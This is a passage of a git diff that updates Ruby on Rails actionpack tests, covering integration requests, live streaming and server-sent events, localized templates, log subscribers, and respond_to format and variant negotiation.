+      get '/get.php', xhr: true
       assert_equal 406, status
       assert_response 406
       assert_response :not_acceptable
@@ -414,7 +552,7 @@ class IntegrationProcessTest < ActionDispatch::IntegrationTest
 
   def test_get_with_parameters
     with_test_route_set do
-      get '/get_with_params', :foo => "bar"
+      get '/get_with_params', params: { foo: "bar" }
       assert_equal '/get_with_params', request.env["PATH_INFO"]
       assert_equal '/get_with_params', request.path_info
       assert_equal 'foo=bar', request.env["QUERY_STRING"]
@@ -502,6 +640,24 @@ class IntegrationProcessTest < ActionDispatch::IntegrationTest
     end
   end
 
+  def test_removed_default_headers_on_test_response_are_not_reapplied
+    with_test_route_set do
+      begin
+        header_to_remove = 'X-Frame-Options'
+        original_default_headers = ActionDispatch::Response.default_headers
+        ActionDispatch::Response.default_headers = {
+          'X-Content-Type-Options' => 'nosniff',
+          header_to_remove => 'SAMEORIGIN',
+        }
+        get '/remove_default_header'
+        assert_includes headers, 'X-Content-Type-Options'
+        assert_not_includes headers, header_to_remove, "Should not contain removed default header"
+      ensure
+        ActionDispatch::Response.default_headers = original_default_headers
+      end
+    end
+  end
+
   private
     def with_test_route_set
       with_routing do |set|
@@ -511,11 +667,13 @@ class IntegrationProcessTest < ActionDispatch::IntegrationTest
         end
 
         set.draw do
+          get 'moved' => redirect('/method')
+
           match ':action', :to => controller, :via => [:get, :post], :as => :action
           get 'get/:action', :to => controller, :as => :get_action
         end
 
-        self.singleton_class.send(:include, set.url_helpers)
+        self.singleton_class.include(set.url_helpers)
 
         yield
       end
@@ -559,14 +717,22 @@ class MetalIntegrationTest < ActionDispatch::IntegrationTest
   end
 
   def test_pass_headers
-    get "/success", {}, "Referer" => "http://www.example.com/foo", "Host" => "http://nohost.com"
+    get "/success", headers: {"Referer" => "http://www.example.com/foo", "Host" => "http://nohost.com"}
 
     assert_equal "http://nohost.com", @request.env["HTTP_HOST"]
     assert_equal "http://www.example.com/foo", @request.env["HTTP_REFERER"]
   end
 
+  def test_pass_headers_and_env
+    get "/success", headers: { "X-Test-Header" => "value" }, env: { "HTTP_REFERER" => "http://test.com/", "HTTP_HOST" => "http://test.com" }
+
+    assert_equal "http://test.com", @request.env["HTTP_HOST"]
+    assert_equal "http://test.com/", @request.env["HTTP_REFERER"]
+    assert_equal "value", @request.env["HTTP_X_TEST_HEADER"]
+  end
+
   def test_pass_env
-    get "/success", {}, "HTTP_REFERER" => "http://test.com/", "HTTP_HOST" => "http://test.com"
+    get "/success", env: { "HTTP_REFERER" => "http://test.com/", "HTTP_HOST" => "http://test.com" }
 
     assert_equal "http://test.com", @request.env["HTTP_HOST"]
     assert_equal "http://test.com/", @request.env["HTTP_REFERER"]
@@ -589,7 +755,7 @@ class ApplicationIntegrationTest < ActionDispatch::IntegrationTest
     @routes ||= ActionDispatch::Routing::RouteSet.new
   end
 
-  class MountedApp
+  class MountedApp < Rails::Engine
     def self.routes
       @routes ||= ActionDispatch::Routing::RouteSet.new
     end
@@ -609,6 +775,8 @@ class ApplicationIntegrationTest < ActionDispatch::IntegrationTest
     get 'bar', :to => 'application_integration_test/test#index', :as => :bar
 
     mount MountedApp => '/mounted', :as => "mounted"
+    get 'fooz' => proc { |env| [ 200, {'X-Cascade' => 'pass'}, [ "omg" ] ] }, :anchor => false
+    get 'fooz', :to => 'application_integration_test/test#index'
   end
 
   def app
@@ -625,6 +793,12 @@ class ApplicationIntegrationTest < ActionDispatch::IntegrationTest
     assert_equal '/mounted/baz', mounted.baz_path
   end
 
+  test "path after cascade pass" do
+    get '/fooz'
+    assert_equal 'index', response.body
+    assert_equal '/fooz', path
+  end
+
   test "route helpers after controller access" do
     get '/'
     assert_equal '/', empty_string_path
@@ -648,7 +822,7 @@ class ApplicationIntegrationTest < ActionDispatch::IntegrationTest
   test "process do not modify the env passed as argument" do
     env = { :SERVER_NAME => 'server', 'action_dispatch.custom' => 'custom' }
     old_env = env.dup
-    get '/foo', nil, env
+    get '/foo', env: env
     assert_equal old_env, env
   end
 end
@@ -678,7 +852,7 @@ class EnvironmentFilterIntegrationTest < ActionDispatch::IntegrationTest
   end
 
   test "filters rack request form vars" do
-    post "/post", :username => 'cjolly', :password => 'secret'
+    post "/post", params: { username: 'cjolly', password: 'secret' }
 
     assert_equal 'cjolly', request.filtered_parameters['username']
     assert_equal '[FILTERED]', request.filtered_parameters['password']
@@ -769,3 +943,94 @@ class UrlOptionsIntegrationTest < ActionDispatch::IntegrationTest
     assert_equal "/foo/1/edit", url_for(:action => 'edit', :only_path => true)
   end
 end
+
+class HeadWithStatusActionIntegrationTest < ActionDispatch::IntegrationTest
+  class FooController < ActionController::Base
+    def status
+      head :ok
+    end
+  end
+
+  def self.routes
+    @routes ||= ActionDispatch::Routing::RouteSet.new
+  end
+
+  def self.call(env)
+    routes.call(env)
+  end
+
+  def app
+    self.class
+  end
+
+  routes.draw do
+    get "/foo/status" => 'head_with_status_action_integration_test/foo#status'
+  end
+
+  test "get /foo/status with head result does not cause stack overflow error" do
+    assert_nothing_raised do
+      get '/foo/status'
+    end
+    assert_response :ok
+  end
+end
+
+class IntegrationWithRoutingTest < ActionDispatch::IntegrationTest
+  class FooController < ActionController::Base
+    def index
+      render plain: 'ok'
+    end
+  end
+
+  def test_with_routing_resets_session
+    klass_namespace = self.class.name.underscore
+
+    with_routing do |routes|
+      routes.draw do
+        namespace klass_namespace do
+          resources :foo, path: '/with'
+        end
+      end
+
+      get '/integration_with_routing_test/with'
+      assert_response 200
+      assert_equal 'ok', response.body
+    end
+
+    with_routing do |routes|
+      routes.draw do
+        namespace klass_namespace do
+          resources :foo, path: '/routing'
+        end
+      end
+
+      get '/integration_with_routing_test/routing'
+      assert_response 200
+      assert_equal 'ok', response.body
+    end
+  end
+end
+
+# to work in contexts like rspec before(:all)
+class IntegrationRequestsWithoutSetup < ActionDispatch::IntegrationTest
+  self._setup_callbacks = []
+  self._teardown_callbacks = []
+
+  class FooController < ActionController::Base
+    def ok
+      cookies[:key] = 'ok'
+      render plain: 'ok'
+    end
+  end
+
+  def test_request
+    with_routing do |routes|
+      routes.draw { get ':action' => FooController }
+      get '/ok'
+
+      assert_response 200
+      assert_equal 'ok', response.body
+      assert_equal 'ok', cookies['key']
+    end
+  end
+end
diff --git a/actionpack/test/controller/live_stream_test.rb b/actionpack/test/controller/live_stream_test.rb
index 0a431270b5..7fd1276e98 100644
--- a/actionpack/test/controller/live_stream_test.rb
+++ b/actionpack/test/controller/live_stream_test.rb
@@ -1,5 +1,6 @@
 require 'abstract_unit'
 require 'active_support/concurrency/latch'
+Thread.abort_on_exception = true
 
 module ActionController
   class SSETest < ActionController::TestCase
@@ -38,14 +39,19 @@ module ActionController
       ensure
         sse.close
       end
+
+      def sse_with_multiple_line_message
+        sse = SSE.new(response.stream)
+        sse.write("first line.\nsecond line.")
+      ensure
+        sse.close
+      end
     end
 
     tests SSETestController
 
     def wait_for_response_stream_close
-      while !response.stream.closed?
-        sleep 0.01
-      end
+      response.body
     end
 
     def test_basic_sse
@@ -88,9 +94,21 @@ module ActionController
       assert_match(/data: {\"name\":\"Ryan\"}/, second_response)
       assert_match(/id: 2/, second_response)
     end
+
+    def test_sse_with_multiple_line_message
+      get :sse_with_multiple_line_message
+
+      wait_for_response_stream_close
+      first_response, second_response = response.body.split("\n")
+      assert_match(/data: first line/, first_response)
+      assert_match(/data: second line/, second_response)
+    end
   end
 
   class LiveStreamTest < ActionController::TestCase
+    class Exception < StandardError
+    end
+
     class TestController < ActionController::Base
       include ActionController::Live
 
@@ -100,6 +118,12 @@ module ActionController
         'test'
       end
 
+      def set_cookie
+        cookies[:hello] = "world"
+        response.stream.write "hello world"
+        response.close
+      end
+
       def render_text
         render :text => 'zomg'
       end
@@ -138,13 +162,18 @@ module ActionController
       end
 
       def with_stale
-        render :text => 'stale' if stale?(:etag => "123")
+        render text: 'stale' if stale?(etag: "123", template: false)
       end
 
       def exception_in_view
         render 'doesntexist'
       end
 
+      def exception_in_view_after_commit
+        response.stream.write ""
+        render 'doesntexist'
+      end
+
       def exception_with_callback
         response.headers['Content-Type'] = 'text/event-stream'
 
@@ -153,32 +182,66 @@ module ActionController
           response.stream.close
         end
 
+        response.stream.write "" # make sure the response is committed
         raise 'An exception occurred...'
       end
 
+      def exception_in_controller
+        raise Exception, 'Exception in controller'
+      end
+
+      def bad_request_error
+        raise ActionController::BadRequest
+      end
+
       def exception_in_exception_callback
         response.headers['Content-Type'] = 'text/event-stream'
         response.stream.on_error do
           raise 'We need to go deeper.'
         end
+        response.stream.write ''
         response.stream.write params[:widget][:didnt_check_for_nil]
       end
-    end
 
-    tests TestController
+      def overfill_buffer_and_die
+        # Write until the buffer is full. It doesn't expose that
+        # information directly, so we must hard-code its size:
+        10.times do
+          response.stream.write '.'
+        end
+        # .. plus one more, because the #each frees up a slot:
+        response.stream.write '.'
+
+        latch.release
 
-    class TestResponse < Live::Response
-      def recycle!
-        initialize
+        # This write will block, and eventually raise
+        response.stream.write 'x'
+
+        20.times do
+          response.stream.write '.'
+        end
       end
-    end
 
-    def build_response
-      TestResponse.new
+      def ignore_client_disconnect
+        response.stream.ignore_disconnect = true
+
+        response.stream.write '' # commit
+
+        # These writes will be ignored
+        15.times do
+          response.stream.write 'x'
+        end
+
+        logger.info 'Work complete'
+        latch.release
+      end
     end
 
+    tests TestController
+
     def assert_stream_closed
       assert response.stream.closed?, 'stream should be closed'
+      assert response.sent?, 'stream should be sent'
     end
 
     def capture_log_output
@@ -192,6 +255,13 @@ module ActionController
       end
     end
 
+    def test_set_cookie
+      @controller = TestController.new
+      get :set_cookie
+      assert_equal({'hello' => 'world'}, @response.cookies)
+      assert_equal "hello world", @response.body
+    end
+
     def test_set_response!
       @controller.set_response!(@request)
       assert_kind_of(Live::Response, @controller.response)
@@ -213,6 +283,7 @@ module ActionController
       @controller.response = @response
 
       t = Thread.new(@response) { |resp|
+        resp.await_commit
         resp.stream.each do |part|
           assert_equal parts.shift, part
           ol = @controller.latch
@@ -226,6 +297,62 @@ module ActionController
       assert t.join(3), 'timeout expired before the thread terminated'
     end
 
+    def test_abort_with_full_buffer
+      @controller.latch = ActiveSupport::Concurrency::Latch.new
+
+      @request.parameters[:format] = 'plain'
+      @controller.request  = @request
+      @controller.response = @response
+
+      got_error = ActiveSupport::Concurrency::Latch.new
+      @response.stream.on_error do
+        ActionController::Base.logger.warn 'Error while streaming'
+        got_error.release
+      end
+
+      t = Thread.new(@response) { |resp|
+        resp.await_commit
+        _, _, body = resp.to_a
+        body.each do |part|
+          @controller.latch.await
+          body.close
+          break
+        end
+      }
+
+      capture_log_output do |output|
+        @controller.process :overfill_buffer_and_die
+        t.join
+        got_error.await
+        assert_match 'Error while streaming', output.rewind && output.read
+      end
+    end
+
+    def test_ignore_client_disconnect
+      @controller.latch = ActiveSupport::Concurrency::Latch.new
+
+      @controller.request  = @request
+      @controller.response = @response
+
+      t = Thread.new(@response) { |resp|
+        resp.await_commit
+        _, _, body = resp.to_a
+        body.each do |part|
+          body.close
+          break
+        end
+      }
+
+      capture_log_output do |output|
+        @controller.process :ignore_client_disconnect
+        t.join
+        Timeout.timeout(3) do
+          @controller.latch.await
+        end
+        assert_match 'Work complete', output.rewind && output.read
+      end
+    end
+
     def test_thread_locals_get_copied
       @controller.tc = self
       Thread.current[:originating_thread] = Thread.current.object_id
@@ -249,24 +376,34 @@ module ActionController
     end
 
     def test_exception_handling_html
-      capture_log_output do |output|
+      assert_raises(ActionView::MissingTemplate) do
         get :exception_in_view
+      end
+
+      capture_log_output do |output|
+        get :exception_in_view_after_commit
         assert_match %r((window\.location = "/500\.html"</script></html>)$), response.body
         assert_match 'Missing template test/doesntexist', output.rewind && output.read
         assert_stream_closed
       end
+      assert response.body
+      assert_stream_closed
     end
 
     def test_exception_handling_plain_text
-      capture_log_output do |output|
+      assert_raises(ActionView::MissingTemplate) do
         get :exception_in_view, format: :json
+      end
+
+      capture_log_output do |output|
+        get :exception_in_view_after_commit, format: :json
         assert_equal '', response.body
         assert_match 'Missing template test/doesntexist', output.rewind && output.read
         assert_stream_closed
       end
     end
 
-    def test_exception_callback
+    def test_exception_callback_when_committed
       capture_log_output do |output|
         get :exception_with_callback, format: 'text/event-stream'
         assert_equal %(data: "500 Internal Server Error"\n\n), response.body
@@ -275,7 +412,19 @@ module ActionController
       end
     end
 
-    def test_exceptions_raised_handling_exceptions
+    def test_exception_in_controller_before_streaming
+      assert_raises(ActionController::LiveStreamTest::Exception) do
+        get :exception_in_controller, format: 'text/event-stream'
+      end
+    end
+
+    def test_bad_request_in_controller_before_streaming
+      assert_raises(ActionController::BadRequest) do
+        get :bad_request_error, format: 'text/event-stream'
+      end
+    end
+
+    def test_exceptions_raised_handling_exceptions_and_committed
       capture_log_output do |output|
         get :exception_in_exception_callback, format: 'text/event-stream'
         assert_equal '', response.body
@@ -295,4 +444,11 @@ module ActionController
       assert_equal 304, @response.status.to_i
     end
   end
+
+  class BufferTest < ActionController::TestCase
+    def test_nil_callback
+      buf = ActionController::Live::Buffer.new nil
+      assert buf.call_on_error
+    end
+  end
 end
diff --git a/actionpack/test/controller/localized_templates_test.rb b/actionpack/test/controller/localized_templates_test.rb
index 6b02eedaed..3576015513 100644
--- a/actionpack/test/controller/localized_templates_test.rb
+++ b/actionpack/test/controller/localized_templates_test.rb
@@ -8,30 +8,39 @@ end
 class LocalizedTemplatesTest < ActionController::TestCase
   tests LocalizedController
 
+  setup do
+    @old_locale = I18n.locale
+  end
+
+  teardown do
+    I18n.locale = @old_locale
+  end
+
   def test_localized_template_is_used
-    old_locale = I18n.locale
     I18n.locale = :de
     get :hello_world
-    assert_equal "Gutten Tag", @response.body
-  ensure
-    I18n.locale = old_locale
+    assert_equal "Guten Tag", @response.body
   end
 
   def test_default_locale_template_is_used_when_locale_is_missing
-    old_locale = I18n.locale
     I18n.locale = :dk
     get :hello_world
     assert_equal "Hello World", @response.body
-  ensure
-    I18n.locale = old_locale
   end
 
   def test_use_fallback_locales
     I18n.locale = :"de-AT"
-    I18n.backend.class.send(:include, I18n::Backend::Fallbacks)
+    I18n.backend.class.include(I18n::Backend::Fallbacks)
     I18n.fallbacks[:"de-AT"] = [:de]
 
     get :hello_world
-    assert_equal "Gutten Tag", @response.body
+    assert_equal "Guten Tag", @response.body
+  end
+
+  def test_localized_template_has_correct_header_with_no_format_in_template_name
+    I18n.locale = :it
+    get :hello_world
+    assert_equal "Ciao Mondo", @response.body
+    assert_equal "text/html",  @response.content_type
   end
 end
diff --git a/actionpack/test/controller/log_subscriber_test.rb b/actionpack/test/controller/log_subscriber_test.rb
index 075347be52..03a4ad7823 100644
--- a/actionpack/test/controller/log_subscriber_test.rb
+++ b/actionpack/test/controller/log_subscriber_test.rb
@@ -73,6 +73,16 @@ module Another
     def with_action_not_found
       raise AbstractController::ActionNotFound
     end
+
+    def append_info_to_payload(payload)
+      super
+      payload[:test_key] = "test_value"
+      @last_payload = payload
+    end
+
+    def last_payload
+      @last_payload
+    end
   end
 end
 
@@ -85,7 +95,7 @@ class ACLogSubscriberTest < ActionController::TestCase
 
     @old_logger = ActionController::Base.logger
 
-    @cache_path = File.expand_path('../temp/test_cache', File.dirname(__FILE__))
+    @cache_path = File.join Dir.tmpdir, Dir::Tmpname.make_tmpname('tmp', 'cache')
     @controller.cache_store = :file_store, @cache_path
     ActionController::LogSubscriber.attach_to :action_controller
   end
@@ -130,16 +140,27 @@ class ACLogSubscriberTest < ActionController::TestCase
   end
 
   def test_process_action_with_parameters
-    get :show, :id => '10'
+    get :show, params: { id: '10' }
     wait
 
     assert_equal 3, logs.size
     assert_equal 'Parameters: {"id"=>"10"}', logs[1]
   end
 
+  def test_multiple_process_with_parameters
+    get :show, params: { id: '10' }
+    get :show, params: { id: '20' }
+
+    wait
+
+    assert_equal 6, logs.size
+    assert_equal 'Parameters: {"id"=>"10"}', logs[1]
+    assert_equal 'Parameters: {"id"=>"20"}', logs[4]
+  end
+
   def test_process_action_with_wrapped_parameters
     @request.env['CONTENT_TYPE'] = 'application/json'
-    post :show, :id => '10', :name => 'jose'
+    post :show, params: { id: '10', name: 'jose' }
     wait
 
     assert_equal 3, logs.size
@@ -152,10 +173,22 @@ class ACLogSubscriberTest < ActionController::TestCase
     assert_match(/\(Views: [\d.]+ms\)/, logs[1])
   end
 
+  def test_append_info_to_payload_is_called_even_with_exception
+    begin
+      get :with_exception
+      wait
+    rescue Exception
+    end
+
+    assert_equal "test_value", @controller.last_payload[:test_key]
+  end
+
   def test_process_action_with_filter_parameters
     @request.env["action_dispatch.parameter_filter"] = [:lifo, :amount]
 
-    get :show, :lifo => 'Pratik', :amount => '420', :step => '1'
+    get :show, params: {
+      lifo: 'Pratik', amount: '420', step: '1'
+    }
     wait
 
     params = logs[1]
diff --git a/actionpack/test/controller/mime/accept_format_test.rb b/actionpack/test/controller/mime/accept_format_test.rb
index c03c7edeb8..e20c08da4e 100644
--- a/actionpack/test/controller/mime/accept_format_test.rb
+++ b/actionpack/test/controller/mime/accept_format_test.rb
@@ -9,11 +9,9 @@ class StarStarMimeController < ActionController::Base
 end
 
 class StarStarMimeControllerTest < ActionController::TestCase
-  tests StarStarMimeController
-
   def test_javascript_with_format
     @request.accept = "text/javascript"
-    get :index, :format => 'js'
+    get :index, format: 'js'
     assert_match "function addition(a,b){ return a+b; }", @response.body
   end
 
@@ -88,7 +86,7 @@ class MimeControllerLayoutsTest < ActionController::TestCase
   end
 
   def test_non_navigational_format_with_no_template_fallbacks_to_html_template_with_no_layout
-    get :index, :format => :js
+    get :index, format: :js
     assert_equal "Hello Firefox", @response.body
   end
 end
diff --git a/actionpack/test/controller/mime/respond_to_test.rb b/actionpack/test/controller/mime/respond_to_test.rb
index 774dabe105..1f5f66dc80 100644
--- a/actionpack/test/controller/mime/respond_to_test.rb
+++ b/actionpack/test/controller/mime/respond_to_test.rb
@@ -128,6 +128,12 @@ class RespondToController < ActionController::Base
     end
   end
 
+  def json_with_callback
+    respond_to do |type|
+      type.json { render :json => 'JS', :callback => 'alert' }
+    end
+  end
+
   def iphone_with_html_response_type
     request.format = :iphone if request.env["HTTP_ACCEPT"] == "text/iphone"
 
@@ -146,6 +152,106 @@ class RespondToController < ActionController::Base
     end
   end
 
+  def variant_with_implicit_rendering
+  end
+
+  def variant_with_format_and_custom_render
+    request.variant = :mobile
+
+    respond_to do |type|
+      type.html { render text: "mobile" }
+    end
+  end
+
+  def multiple_variants_for_format
+    respond_to do |type|
+      type.html do |html|
+        html.tablet { render text: "tablet" }
+        html.phone  { render text: "phone" }
+      end
+    end
+  end
+
+  def variant_plus_none_for_format
+    respond_to do |format|
+      format.html do |variant|
+        variant.phone { render text: "phone" }
+        variant.none
+      end
+    end
+  end
+
+  def variant_inline_syntax
+    respond_to do |format|
+      format.js         { render text: "js"    }
+      format.html.none  { render text: "none"  }
+      format.html.phone { render text: "phone" }
+    end
+  end
+
+  def variant_inline_syntax_without_block
+    respond_to do |format|
+      format.js
+      format.html.none
+      format.html.phone
+    end
+  end
+
+  def variant_any
+    respond_to do |format|
+      format.html do |variant|
+        variant.any(:tablet, :phablet){ render text: "any" }
+        variant.phone { render text: "phone" }
+      end
+    end
+  end
+
+  def variant_any_any
+    respond_to do |format|
+      format.html do |variant|
+        variant.any   { render text: "any"   }
+        variant.phone { render text: "phone" }
+      end
+    end
+  end
+
+  def variant_inline_any
+    respond_to do |format|
+      format.html.any(:tablet, :phablet){ render text: "any" }
+      format.html.phone { render text: "phone" }
+    end
+  end
+
+  def variant_inline_any_any
+    respond_to do |format|
+      format.html.phone { render text: "phone" }
+      format.html.any   { render text: "any"   }
+    end
+  end
+
+  def variant_any_implicit_render
+    respond_to do |format|
+      format.html.phone
+      format.html.any(:tablet, :phablet)
+    end
+  end
+
+  def variant_any_with_none
+    respond_to do |format|
+      format.html.any(:none, :phone){ render text: "none or phone" }
+    end
+  end
+
+  def format_any_variant_any
+    respond_to do |format|
+      format.html { render text: "HTML" }
+      format.any(:js, :xml) do |variant|
+        variant.phone{ render text: "phone" }
+        variant.any(:tablet, :phablet){ render text: "tablet" }
+      end
+    end
+  end
+
   protected
     def set_layout
       case action_name
@@ -158,8 +264,6 @@ class RespondToController < ActionController::Base
 end
 
 class RespondToControllerTest < ActionController::TestCase
-  tests RespondToController
-
   def setup
     super
     @request.host = "www.example.com"
@@ -206,17 +310,17 @@ class RespondToControllerTest < ActionController::TestCase
 
   def test_js_or_html
     @request.accept = "text/javascript, text/html"
-    xhr :get, :js_or_html
+    get :js_or_html, xhr: true
     assert_equal 'JS', @response.body
 
     @request.accept = "text/javascript, text/html"
-    xhr :get, :html_or_xml
+    get :html_or_xml, xhr: true
     assert_equal 'HTML', @response.body
 
     @request.accept = "text/javascript, text/html"
 
     assert_raises(ActionController::UnknownFormat) do
-      xhr :get, :just_xml
+      get :just_xml, xhr: true
     end
   end
 
@@ -231,13 +335,13 @@ class RespondToControllerTest < ActionController::TestCase
   end
 
   def test_json_or_yaml
-    xhr :get, :json_or_yaml
+    get :json_or_yaml, xhr: true
     assert_equal 'JSON', @response.body
 
-    get :json_or_yaml, :format => 'json'
+    get :json_or_yaml, format: 'json'
     assert_equal 'JSON', @response.body
 
-    get :json_or_yaml, :format => 'yaml'
+    get :json_or_yaml, format: 'yaml'
     assert_equal 'YAML', @response.body
 
     { 'YAML' => %w(text/yaml),
@@ -253,13 +357,13 @@ class RespondToControllerTest < ActionController::TestCase
 
   def test_js_or_anything
     @request.accept = "text/javascript, */*"
-    xhr :get, :js_or_html
+    get :js_or_html, xhr: true
     assert_equal 'JS', @response.body
 
-    xhr :get, :html_or_xml
+    get :html_or_xml, xhr: true
     assert_equal 'HTML', @response.body
 
-    xhr :get, :just_xml
+    get :just_xml, xhr: true
     assert_equal 'XML', @response.body
   end
 
@@ -304,14 +408,14 @@ class RespondToControllerTest < ActionController::TestCase
   def test_with_atom_content_type
     @request.accept = ""
     @request.env["CONTENT_TYPE"] = "application/atom+xml"
-    xhr :get, :made_for_content_type
+    get :made_for_content_type, xhr: true
     assert_equal "ATOM", @response.body
   end
 
   def test_with_rss_content_type
     @request.accept = ""
     @request.env["CONTENT_TYPE"] = "application/rss+xml"
-    xhr :get, :made_for_content_type
+    get :made_for_content_type, xhr: true
     assert_equal "RSS", @response.body
   end
 
@@ -370,7 +474,7 @@ class RespondToControllerTest < ActionController::TestCase
   end
 
   def test_handle_any_any_parameter_format
-    get :handle_any_any, {:format=>'html'}
+    get :handle_any_any, format: 'html'
     assert_equal 'HTML', @response.body
   end
 
@@ -392,6 +496,11 @@ class RespondToControllerTest < ActionController::TestCase
     assert_equal 'Whatever you ask for, I got it', @response.body
   end
 
+  def test_handle_any_any_unkown_format
+    get :handle_any_any, format: 'php'
+    assert_equal 'Whatever you ask for, I got it', @response.body
+  end
+
   def test_browser_check_with_any_any
     @request.accept = "application/json, application/xml"
     get :json_xml_or_html
@@ -408,19 +517,26 @@ class RespondToControllerTest < ActionController::TestCase
     assert_equal '<html><div id="html">HTML for all_types_with_layout</div></html>', @response.body
   end
 
+  def test_json_with_callback_sets_javascript_content_type
+    @request.accept = 'application/json'
+    get :json_with_callback
+    assert_equal '/**/alert(JS)', @response.body
+    assert_equal 'text/javascript', @response.content_type
+  end
+
   def test_xhr
-    xhr :get, :js_or_html
+    get :js_or_html, xhr: true
     assert_equal 'JS', @response.body
   end
 
   def test_custom_constant
-    get :custom_constant_handling, :format => "mobile"
+    get :custom_constant_handling, format: "mobile"
     assert_equal "text/x-mobile", @response.content_type
     assert_equal "Mobile", @response.body
   end
 
   def test_custom_constant_handling_without_block
-    get :custom_constant_handling_without_block, :format => "mobile"
+    get :custom_constant_handling_without_block, format: "mobile"
     assert_equal "text/x-mobile", @response.content_type
     assert_equal "Mobile", @response.body
   end
@@ -429,13 +545,13 @@ class RespondToControllerTest < ActionController::TestCase
     get :html_xml_or_rss
     assert_equal "HTML", @response.body
 
-    get :html_xml_or_rss, :format => "html"
+    get :html_xml_or_rss, format: "html"
     assert_equal "HTML", @response.body
 
-    get :html_xml_or_rss, :format => "xml"
+    get :html_xml_or_rss, format: "xml"
     assert_equal "XML", @response.body
 
-    get :html_xml_or_rss, :format => "rss"
+    get :html_xml_or_rss, format: "rss"
     assert_equal "RSS", @response.body
   end
 
@@ -443,12 +559,12 @@ class RespondToControllerTest < ActionController::TestCase
     get :forced_xml
     assert_equal "XML", @response.body
 
-    get :forced_xml, :format => "html"
+    get :forced_xml, format: "html"
     assert_equal "XML", @response.body
   end
 
   def test_extension_synonyms
-    get :html_xml_or_rss, :format => "xhtml"
+    get :html_xml_or_rss, format: "xhtml"
     assert_equal "HTML", @response.body
   end
 
@@ -463,17 +579,17 @@ class RespondToControllerTest < ActionController::TestCase
     end
 
     get :using_defaults
-    assert_equal "using_defaults - #{[:html].to_s}", @response.body
+    assert_equal "using_defaults - #{[:html]}", @response.body
 
-    get :using_defaults, :format => "xml"
-    assert_equal "using_defaults - #{[:xml].to_s}", @response.body
+    get :using_defaults, format: "xml"
+    assert_equal "using_defaults - #{[:xml]}", @response.body
   end
 
   def test_format_with_custom_response_type
     get :iphone_with_html_response_type
     assert_equal '<html><div id="html">Hello future from Firefox!</div></html>', @response.body
 
-    get :iphone_with_html_response_type, :format => "iphone"
+    get :iphone_with_html_response_type, format: "iphone"
     assert_equal "text/html", @response.content_type
     assert_equal '<html><div id="iphone">Hello iPhone future from iPhone!</div></html>', @response.body
   end
@@ -487,7 +603,182 @@ class RespondToControllerTest < ActionController::TestCase
 
   def test_invalid_format
     assert_raises(ActionController::UnknownFormat) do
-      get :using_defaults, :format => "invalidformat"
+      get :using_defaults, format: "invalidformat"
+    end
+  end
+
+  def test_invalid_variant
+    @request.variant = :invalid
+    assert_raises(ActionView::MissingTemplate) do
+      get :variant_with_implicit_rendering
+    end
+  end
+
+  def test_variant_not_set_regular_template_missing
+    assert_raises(ActionView::MissingTemplate) do
+      get :variant_with_implicit_rendering
     end
   end
+
+  def test_variant_with_implicit_rendering
+    @request.variant = :mobile
+    get :variant_with_implicit_rendering
+    assert_equal "text/html", @response.content_type
+    assert_equal "mobile", @response.body
+  end
+
+  def test_variant_with_format_and_custom_render
+    @request.variant = :phone
+    get :variant_with_format_and_custom_render
+    assert_equal "text/html", @response.content_type
+    assert_equal "mobile", @response.body
+  end
+
+  def test_multiple_variants_for_format
+    @request.variant = :tablet
+    get :multiple_variants_for_format
+    assert_equal "text/html", @response.content_type
+    assert_equal "tablet", @response.body
+  end
+
+  def test_no_variant_in_variant_setup
+    get :variant_plus_none_for_format
+    assert_equal "text/html", @response.content_type
+    assert_equal "none", @response.body
+  end
+
+  def test_variant_inline_syntax
+    get :variant_inline_syntax, format: :js
+    assert_equal "text/javascript", @response.content_type
+    assert_equal "js", @response.body
+
+    get :variant_inline_syntax
+    assert_equal "text/html", @response.content_type
+    assert_equal "none", @response.body
+
+    @request.variant = :phone
+    get :variant_inline_syntax
+    assert_equal "text/html", @response.content_type
+    assert_equal "phone", @response.body
+  end
+
+  def test_variant_inline_syntax_without_block
+    @request.variant = :phone
+    get :variant_inline_syntax_without_block
+    assert_equal "text/html", @response.content_type
+    assert_equal "phone", @response.body
+  end
+
+  def test_variant_any
+    @request.variant = :phone
+    get :variant_any
+    assert_equal "text/html", @response.content_type
+    assert_equal "phone", @response.body
+
+    @request.variant = :tablet
+    get :variant_any
+    assert_equal "text/html", @response.content_type
+    assert_equal "any", @response.body
+
+    @request.variant = :phablet
+    get :variant_any
+    assert_equal "text/html", @response.content_type
+    assert_equal "any", @response.body
+  end
+
+  def test_variant_any_any
+    get :variant_any_any
+    assert_equal "text/html", @response.content_type
+    assert_equal "any", @response.body
+
+    @request.variant = :phone
+    get :variant_any_any
+    assert_equal "text/html", @response.content_type
+    assert_equal "phone", @response.body
+
+    @request.variant = :yolo
+    get :variant_any_any
+    assert_equal "text/html", @response.content_type
+    assert_equal "any", @response.body
+  end
+
+  def test_variant_inline_any
+    @request.variant = :phone
+    get :variant_any
+    assert_equal "text/html", @response.content_type
+    assert_equal "phone", @response.body
+
+    @request.variant = :tablet
+    get :variant_inline_any
+    assert_equal "text/html", @response.content_type
+    assert_equal "any", @response.body
+
+    @request.variant = :phablet
+    get :variant_inline_any
+    assert_equal "text/html", @response.content_type
+    assert_equal "any", @response.body
+  end
+
+  def test_variant_inline_any_any
+    @request.variant = :phone
+    get :variant_inline_any_any
+    assert_equal "text/html", @response.content_type
+    assert_equal "phone", @response.body
+
+    @request.variant = :yolo
+    get :variant_inline_any_any
+    assert_equal "text/html", @response.content_type
+    assert_equal "any", @response.body
+  end
+
+  def test_variant_any_implicit_render
+    @request.variant = :tablet
+    get :variant_any_implicit_render
+    assert_equal "text/html", @response.content_type
+    assert_equal "tablet", @response.body
+
+    @request.variant = :phablet
+    get :variant_any_implicit_render
+    assert_equal "text/html", @response.content_type
+    assert_equal "phablet", @response.body
+  end
+
+  def test_variant_any_with_none
+    get :variant_any_with_none
+    assert_equal "text/html", @response.content_type
+    assert_equal "none or phone", @response.body
+
+    @request.variant = :phone
+    get :variant_any_with_none
+    assert_equal "text/html", @response.content_type
+    assert_equal "none or phone", @response.body
+  end
+
+  def test_format_any_variant_any
+    @request.variant = :tablet
+    get :format_any_variant_any, format: :js
+    assert_equal "text/javascript", @response.content_type
+    assert_equal "tablet", @response.body
+  end
+
+  def test_variant_negotiation_inline_syntax
+    @request.variant = [:tablet, :phone]
+    get :variant_inline_syntax_without_block
+    assert_equal "text/html", @response.content_type
+    assert_equal "phone", @response.body
+  end
+
+  def test_variant_negotiation_block_syntax
+    @request.variant = [:tablet, :phone]
+    get :variant_plus_none_for_format
+    assert_equal "text/html", @response.content_type
+    assert_equal "phone", @response.body
+  end
+
